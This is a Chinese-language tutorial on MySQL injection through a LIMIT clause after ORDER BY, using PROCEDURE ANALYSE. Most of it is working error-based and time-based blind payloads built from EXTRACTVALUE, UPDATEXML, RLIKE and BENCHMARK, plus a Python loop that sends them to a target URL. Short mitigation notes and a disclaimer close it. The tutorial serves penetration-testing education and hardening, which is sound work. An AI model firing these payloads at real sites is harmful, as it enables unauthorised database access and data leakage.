SQL 注入不只存在 WHERE 後。當注入點位於 LIMIT 子句且前方存在 ORDER BY 時,傳統 UNION 注入失效。本文揭示利用 PROCEDURE ANALYSE 繞過限制的報錯/時間盲注技術細節(僅供授權測試/防禦研究)。
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入點]
ORDER BY 後不能直接跟 UNION,標準語法中 LIMIT 後可接 PROCEDURE 與 INTO。
MySQL 內建唯一存儲過程 ANALYSE,語法:
SELECT ... LIMIT offset, count PROCEDURE ANALYSE([max_elements[,max_memory]])
但 ANALYSE 禁止與 ORDER BY 共用:
SELECT field FROM table WHERE id>0 ORDER BY id LIMIT 1,1 PROCEDURE ANALYSE(1);
-- ERROR 1386 (HY000): Can't use ORDER clause with this procedure
將惡意載荷包裝在子查詢中,繞過 ORDER BY 限制:
SELECT field FROM user WHERE id>0 ORDER BY id LIMIT 1,1
PROCEDURE ANALYSE(EXTRACTVALUE(RAND(), CONCAT(0x3a, VERSION())), 1);
-- ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
版本號泄露在錯誤信息中。
SELECT field FROM table WHERE id>0 ORDER BY id LIMIT 1,1
PROCEDURE ANALYSE((
SELECT EXTRACTVALUE(RAND(), CONCAT(0x3a,
IF(MID(VERSION(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)), 1)
))
), 1);
關鍵點:SLEEP() 在此處無效,必須用 BENCHMARK() 消耗 CPU 產生可測延時。
-- RLIKE 空表達式錯誤
SELECT host FROM mysql.user ORDER BY 1 LIMIT 0
PROCEDURE ANALYSE(0, (SELECT 3 ORDER BY 1 RLIKE IF(MID(VERSION(),1,1)=5, 0x00, 1)));
-- ERROR 1139 (42000): Got error 'empty (sub)expression' from regexp
-- UPDATEXML XPath 錯誤(更穩定)
SELECT host FROM mysql.user ORDER BY 1 LIMIT 0
PROCEDURE ANALYSE(0, (SELECT 3 ORDER BY UPDATEXML(1, CONCAT(0x3a, VERSION()), 1)));
-- ERROR 1105 (HY000): XPATH syntax error: ':5.5'
LIMIT ?, ? 綁定整數參數,徹底杜絕注入LIMIT 參數強制轉 int,拒絕非數字輸入FILE、PROCESS 等高危權限PROCEDURE\s+ANALYSE、EXTRACTVALUE、UPDATEXML、BENCHMARK 等特徵# 檢測 LIMIT 注入點是否可利用 PROCEDURE ANALYSE
payloads = [
"1 PROCEDURE ANALYSE(EXTRACTVALUE(RAND(),CONCAT(0x3a,VERSION())),1)",
"1 PROCEDURE ANALYSE((SELECT IF(1=1,BENCHMARK(1000000,SHA1(1)),1)),1)"
]
for p in payloads:
test_url = f"{target}?limit={p}"
# 觀察錯誤回顯或響應延時
聲明:本文技術僅供授權滲透測試、代碼審計與防禦加固使用。未經授權測試屬違法行為。開發者應聚焦參數化查詢與輸入驗證,從根源消除注入風險。